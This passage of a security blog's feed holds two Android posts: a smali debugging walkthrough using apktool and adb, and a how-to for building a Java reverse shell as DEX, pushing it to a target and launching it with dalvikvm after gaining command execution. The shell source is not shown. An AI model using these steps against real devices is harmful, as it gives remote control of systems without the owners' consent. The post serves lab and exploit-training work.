The steps to realize that were already described by smalidea authors on &lt;a href=&quot;https://github.com/JesusFreke/smali/wiki/smalidea#debugging-an-application&quot;&gt;GitHub&lt;/a&gt; or in more details in &lt;a href=&quot;https://crosp.net/blog/software-development/mobile/android/android-reverse-engineering-debugging-smali-using-smalidea/&quot;&gt;CROSP’s article&lt;/a&gt;. These instructions, however, require DDMS which has recently &lt;a href=&quot;https://developer.android.com/studio/profile/monitor&quot;&gt;deprecated&lt;/a&gt;. In this post, I want to show you an alternate way of debugging your smali code which works in latest Android Studio 3.2 without DDMS.&lt;/p&gt;

&lt;h2 id=&quot;prerequisites&quot;&gt;Prerequisites&lt;/h2&gt;

&lt;ul&gt;
  &lt;li&gt;Android Studio 3.2&lt;/li&gt;
  &lt;li&gt;Android Emulator or real Android device&lt;/li&gt;
  &lt;li&gt;APK of application you want to debug&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://ibotpeaches.github.io/Apktool/&quot;&gt;Apktool&lt;/a&gt; (I use version 2.3.3)&lt;/li&gt;
  &lt;li&gt;Java SDK&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&quot;1-install-smalidea-plugin&quot;&gt;1) Install smalidea plugin&lt;/h2&gt;
&lt;p&gt;Let’s start by ripping off &lt;a href=&quot;https://crosp.net/blog/software-development/mobile/android/android-reverse-engineering-debugging-smali-using-smalidea/&quot;&gt;CROSP’s article&lt;/a&gt; as I believe it’s better to repeat the parts that are common here than to force you to jump between two articles.&lt;/p&gt;

&lt;p&gt;Open up Android Studio and you should see the welcome screen like the one on screenshot bellow (if not, close your current project by selecting &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;File -&amp;gt; Close project&lt;/code&gt;).&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/public/pics/android-studio-welcome-screen.png&quot; alt=&quot;Android Studio's welcome screen&quot; /&gt;&lt;/p&gt;

&lt;p&gt;On the welcome screen, select &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Configure -&amp;gt; Plugins&lt;/code&gt; which opens up a Plugin’s window. There, you can install smalidea by providing the path to plugin’s ZIP file (download &lt;a href=&quot;https://bitbucket.org/JesusFreke/smali/downloads/&quot;&gt;here&lt;/a&gt;) using &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Install plugin from disk...&lt;/code&gt; button. After installation Android Studio will ask you to restart it so go for it.&lt;/p&gt;

&lt;h2 id=&quot;2-decompile-apk&quot;&gt;2) Decompile APK&lt;/h2&gt;
&lt;p&gt;In this tutorial, I’ll use open-source app &lt;a href=&quot;https://gitlab.com/HoraApps/LeafPic&quot;&gt;LeafPic&lt;/a&gt; by &lt;a href=&quot;https://gitlab.com/HoraApps&quot;&gt;HoraApps&lt;/a&gt; (thank you!) though you’d probably reverse engineer some closed-source app. I’ve built APK of this app in release config as it’s more realistic and now I’m going to pretend I don’t have the source code.&lt;/p&gt;

&lt;p&gt;Having no source, we unpack and decompile out APK to smali:&lt;/p&gt;
&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;c&quot;&gt;# unpack and decompile whole APK to be patched later&lt;/span&gt;
apktool d application.apk &lt;span class=&quot;nt&quot;&gt;-o&lt;/span&gt; re_project0/

&lt;span class=&quot;c&quot;&gt;# create folder for all decompiled smali sources&lt;/span&gt;
&lt;span class=&quot;nb&quot;&gt;mkdir&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-p&lt;/span&gt; re_project0/src

&lt;span class=&quot;c&quot;&gt;# copy all the smali code to sources folder&lt;/span&gt;
&lt;span class=&quot;nb&quot;&gt;cp&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-R&lt;/span&gt; re_project0/smali&lt;span class=&quot;k&quot;&gt;*&lt;/span&gt;/&lt;span class=&quot;k&quot;&gt;*&lt;/span&gt; re_project0/src
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h2 id=&quot;3-import-smali-project-to-android-studio&quot;&gt;3) Import Smali Project to Android Studio&lt;/h2&gt;
&lt;p&gt;Go to Android Studio’s welcome screen again and this time select &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Open an existing Android Studio project&lt;/code&gt; and select &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;re_project0/&lt;/code&gt; folder where you unpacked APK.&lt;/p&gt;

&lt;p&gt;Once project loads, you need to tell the IDE where is your source code. First, you need to switch to Project view by clicking on &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Android&lt;/code&gt; in the left side panel. Then a menu, as on the screenshot below, appears and you’ll select &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Project&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/public/pics/android-studio-project-view-selection.png&quot; alt=&quot;Selection of Project view in Android Studio&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Now you can see folder structure in your left panel. Find &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;src/&lt;/code&gt; subfolder right click it and select &lt;br /&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Mark Directory as -&amp;gt; Sources Root&lt;/code&gt;.&lt;/p&gt;

&lt;h2 id=&quot;4-prepare-app-for-debugging&quot;&gt;4) Prepare App for Debugging&lt;/h2&gt;
&lt;p&gt;Most of the apps you’ll try reverse engineer won’t allow you to debug them straight away as they are not debuggable. Fortunately, usually, that is no issue &lt;sup&gt;&lt;a href=&quot;#sn-1&quot;&gt;1&lt;/a&gt;&lt;/sup&gt; as you can rebuild the APK with correct &lt;a href=&quot;https://developer.android.com/guide/topics/manifest/application-element#debug&quot;&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;android:debuggable&lt;/code&gt;&lt;/a&gt; flag.&lt;/p&gt;

&lt;p&gt;To do that, you should go to your &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;re_project0/&lt;/code&gt;, open &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;AndroidManifest.xml&lt;/code&gt; in your favorite text editor and locate XML element &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;&amp;lt;application&amp;gt;&lt;/code&gt;. This element will have number of attributes but you don’t care about these at the moment, you just need to make sure there is attribute &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;android:debuggable&lt;/code&gt; with value &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;true&lt;/code&gt; as in this example:&lt;/p&gt;
&lt;div class=&quot;language-xml highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nt&quot;&gt;&amp;lt;application&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;android:debuggable=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;true&quot;&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;android:allowBackup=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;true&quot;&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;android:icon=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;@mipmap/ic_launcher&quot;&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;android:label=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;@string/app_name&quot;&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;android:largeHeap=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;true&quot;&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;android:name=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;org.horaapps.leafpic.App&quot;&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;android:theme=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;@style/Theme.AppCompat&quot;&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;After you made the change, you should repack the application back to APK using &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;apktool&lt;/code&gt; like this:&lt;/p&gt;
&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;apktool b re_project0/
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;Your patched APK will be in &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;re_project0/dist&lt;/code&gt; directory. From there you can install it using &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;adb install patched.apk&lt;/code&gt;, just remember to sign it first &lt;sup&gt;&lt;a href=&quot;#sn-2&quot;&gt;2&lt;/a&gt;&lt;/sup&gt;.&lt;/p&gt;

&lt;h2 id=&quot;5-prepare-android-device-for-debugging&quot;&gt;5) Prepare Android Device for Debugging&lt;/h2&gt;
&lt;p&gt;Once your debuggable APK is installed, you need to make changes in your real/emulated Android device.&lt;/p&gt;

&lt;p&gt;First, connect your USB cable or start your emulator and make sure you have &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;adb&lt;/code&gt; access to your device - you can verify using &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;adb shell&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;Then, in your Android, go to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Settings -&amp;gt; Developer options&lt;/code&gt; &lt;sup&gt;&lt;a href=&quot;#sn-3&quot;&gt;3&lt;/a&gt;&lt;/sup&gt; and set &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;USB debugging&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Wait for debugger&lt;/code&gt; options on. The latter is optional but useful as it allows you wait for debugger connection and not to run app yet.&lt;/p&gt;

&lt;p&gt;Finally, you should tap on &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Select debug app&lt;/code&gt; and choose your debuggable app. After all of these, your Developer options menu should look somewhat like this:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/public/pics/developer-options-debug-ready.png&quot; alt=&quot;Developer options ready for app debugging&quot; /&gt;&lt;/p&gt;

&lt;p&gt;All is set there, go ahead and start your application. The app should get stuck waiting for a debugger with a dialog looking like this one:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/public/pics/waiting-for-debugger.png&quot; alt=&quot;Waiting For Debugger Dialog&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Everything is cool, the application is waiting for debugger but there is one last step remaining. As the application is listening for debugger’s connection on localhost of Android device, we need to somehow forward it to our host where Android Studio is running.&lt;/p&gt;

&lt;p&gt;We’ll use &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;adb&lt;/code&gt;’s port forwarding feature here and forward &lt;a href=&quot;https://en.wikipedia.org/wiki/Java_Platform_Debugger_Architecture&quot;&gt;JDWP&lt;/a&gt; service where application’s debug interface is listening (found from &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;adb jdwp&lt;/code&gt;) to TCP port 5005 on host system using this: &lt;sup&gt;&lt;a href=&quot;#sn-4&quot;&gt;4&lt;/a&gt;&lt;/sup&gt;&lt;/p&gt;
&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;adb forward tcp:5005 jdwp:&lt;span class=&quot;si&quot;&gt;$(&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;timeout &lt;/span&gt;0.5 adb jdwp | &lt;span class=&quot;nb&quot;&gt;tail&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-n&lt;/span&gt; 1&lt;span class=&quot;si&quot;&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h2 id=&quot;5-connect-debugger&quot;&gt;5) Connect Debugger&lt;/h2&gt;
&lt;p&gt;After finishing following last steps, the debugger attaches to your app and runs the application so this is the right time to place your breakpoints in smali code.&lt;/p&gt;

&lt;p&gt;Ready? Ok, go back to Android Studio and from its top menu bar choose &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Run -&amp;gt; Debug&lt;/code&gt;, then a small Debug menu window appears so click on its item &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Edit Configurations...&lt;/code&gt;. There, using a plus button, add new configuration of type Remote. Leave the default configuration as is but change port to the one you used previously, in my case it is 5005. Click the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Debug&lt;/code&gt; button and your app should be running with the attached debugger which means it will stop once a breakpoint is hit and you can investigate the content of app’s variables.&lt;/p&gt;

&lt;h2 id=&quot;6-profit&quot;&gt;6) Profit&lt;/h2&gt;
&lt;p&gt;Or not, it’s up to you how useful you make it. For me, it was really handy when I was reverse engineering a custom HTTP request signing scheme without source code and &lt;a href=&quot;https://developer.android.com/studio/build/shrink-code&quot;&gt;ProGuard minification&lt;/a&gt; turned on. I was not able to understand it just by looking at the decompiled code, dynamic analysis gave me more insight and I finally realized what was going on.&lt;/p&gt;

&lt;h4 id=&quot;side-notes&quot;&gt;Side notes&lt;/h4&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;sup&gt;&lt;a name=&quot;sn-1&quot;&gt;1&lt;/a&gt;&lt;/sup&gt; By modifying the original APK you, of course, get another application. It may behave like the original for most of the times but you cannot be sure it’s 100% times.&lt;/li&gt;
  &lt;li&gt;&lt;sup&gt;&lt;a name=&quot;sn-2&quot;&gt;2&lt;/a&gt;&lt;/sup&gt; See &lt;a href=&quot;https://docs.microsoft.com/en-us/xamarin/android/deploy-test/signing/manually-signing-the-apk&quot;&gt;Xamarin’s tutorial&lt;/a&gt; if you’ve never manually signed APK before.&lt;/li&gt;
  &lt;li&gt;&lt;sup&gt;&lt;a name=&quot;sn-3&quot;&gt;3&lt;/a&gt;&lt;/sup&gt; If you don’t see &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Developer options&lt;/code&gt; anywhere in the menu it might not be activated yet, follow &lt;a href=&quot;https://developer.android.com/studio/debug/dev-options&quot;&gt;docs&lt;/a&gt; to see how to enable it.&lt;/li&gt;
  &lt;li&gt;&lt;sup&gt;&lt;a name=&quot;sn-4&quot;&gt;4&lt;/a&gt;&lt;/sup&gt; There can be more applications listening using JDWP. If you don’t know what’s wrong you might be forwarding different app’s debug service. List all listening apps with &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;adb jdwp&lt;/code&gt; and verify you use the correct one.&lt;/li&gt;
&lt;/ul&gt;</content><author><name>malacupa</name></author><summary type="html">Intro Being able to peek into what data are in memory of the app you are currently reverse engineering and step through its code are really useful features and Android Studio with smalidea plugin allows you exactly that. The steps to realize that were already described by smalidea authors on GitHub or in more details in CROSP’s article. These instructions, however, require DDMS which has recently deprecated. In this post, I want to show you an alternate way of debugging your smali code which works in latest Android Studio 3.2 without DDMS.</summary></entry><entry><title type="html">Android Command Line Reverse Shell in Java</title><link href="https://malacupa.com/2018/10/25/android-command-line-reverse-shell.html" rel="alternate" type="text/html" title="Android Command Line Reverse Shell in Java" /><published>2018-10-25T12:10:37+02:00</published><updated>2018-10-25T12:10:37+02:00</updated><id>https://malacupa.com/2018/10/25/android-command-line-reverse-shell</id><content type="html" xml:base="https://malacupa.com/2018/10/25/android-command-line-reverse-shell.html">&lt;h3 id=&quot;prerequisites&quot;&gt;Prerequisites&lt;/h3&gt;

&lt;ul&gt;
  &lt;li&gt;Execution of commands on target Android system&lt;/li&gt;
  &lt;li&gt;Android SDK&lt;/li&gt;
  &lt;li&gt;Ability to download files on target (may be allowed through your ability to execute commands)&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&quot;tldr&quot;&gt;TL;DR&lt;/h3&gt;
&lt;p&gt;Skip to &lt;a href=&quot;#copy--paste-part&quot;&gt;Copy and paste part&lt;/a&gt;&lt;/p&gt;

&lt;h3 id=&quot;verbose-intro&quot;&gt;Verbose intro&lt;/h3&gt;
&lt;p&gt;You can find &lt;a href=&quot;https://0x00sec.org/t/getting-shell-on-android-and-signing-the-apk-file/3129&quot;&gt;a&lt;/a&gt; &lt;a href=&quot;https://hackingvision.com/2017/02/18/embed-metasploit-payload-apk-file/&quot;&gt;lot&lt;/a&gt; &lt;a href=&quot;https://github.com/dana-at-cp/backdoor-apk&quot;&gt;of&lt;/a&gt; &lt;a href=&quot;https://www.blackhillsinfosec.com/embedding-meterpreter-in-android-apk/&quot;&gt;resources&lt;/a&gt; on how to inject meterpreter to APK for getting a reverse shell. What I want to address in this post is a simple tutorial on how to get your interactive remote command line access in case you already obtained command execution on the target device.
In my case, I needed this to make an exploitable Android application where you got command line code execution by taking advantage of deserialization vulnerability. Because googling on how to do that took me more than 10 minutes and taught me something new, I decided to share it here.&lt;/p&gt;

&lt;p&gt;There is nothing novel, it’s just a way of compiling Java code to be executed by &lt;a href=&quot;https://source.android.com/devices/tech/dalvik&quot;&gt;ART/Dalvik&lt;/a&gt; on Android’s command line.&lt;/p&gt;

&lt;h3 id=&quot;copy--paste-part&quot;&gt;Copy &amp;amp; paste part&lt;/h3&gt;

&lt;p&gt;First you need some Java reverse shell code. You can use following, which is basically just a verbose version of &lt;a href=&quot;https://gist.github.com/caseydunham/53eb8503efad39b83633961f12441af0&quot;&gt;one GitHub gist&lt;/a&gt; I found:
&lt;script src=&quot;https://gist.github.com/malacupa/3a98285ad67c98386f7e798b25ef808c.js&quot;&gt;&lt;/script&gt;&lt;/p&gt;

&lt;p&gt;Then you have compile it to Java bytecode, convert it to DEX format and create JAR file (substitute path to Android SDK’s &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;dx&lt;/code&gt; utility for your path and version):&lt;/p&gt;
&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;c&quot;&gt;# compile Java source code&lt;/span&gt;
javac ReverseShell.java

&lt;span class=&quot;c&quot;&gt;# convert to DEX format &lt;/span&gt;
/path/to/your/android/sdk/build-tools/28.0.3/dx &lt;span class=&quot;nt&quot;&gt;--dex&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;--output&lt;/span&gt; classes.dex ReverseShell.class

&lt;span class=&quot;c&quot;&gt;# create fake JAR file&lt;/span&gt;
zip ars.jar classes.dex
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Now, deliver JAR file to target device. You can use &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;curl&lt;/code&gt; through your command execution vulnerability on the device (if you got lucky and your target Android has it). Here, I fake this step using ADB:&lt;/p&gt;
&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;adb push ars.jar /sdcard
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Finally, by utilizing your command execution you start Java reverse shell from Android’s CLI using &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;dalvikvm&lt;/code&gt; command like this (note the path to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ars.jar&lt;/code&gt; delivered in previous step):&lt;/p&gt;
&lt;div class=&quot;language-sh highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;/system/bin/dalvikvm &lt;span class=&quot;nt&quot;&gt;-cp&lt;/span&gt; /sdcard/ars.jar ReverseShell
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h3 id=&quot;final-note&quot;&gt;Final note&lt;/h3&gt;
&lt;p&gt;I should also mention that you might use much simpler solution for reverse shell using &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;sh&lt;/code&gt; as this one here:
&lt;script src=&quot;https://gist.github.com/random-robbie/4d6264cfadc7d716cd28ba29e424f62d.js&quot;&gt;&lt;/script&gt;&lt;/p&gt;

&lt;p&gt;But it might not be working for you and then you can use the solution above.&lt;/p&gt;</content><author><name>malacupa</name></author><summary type="html">Prerequisites</summary></entry></feed>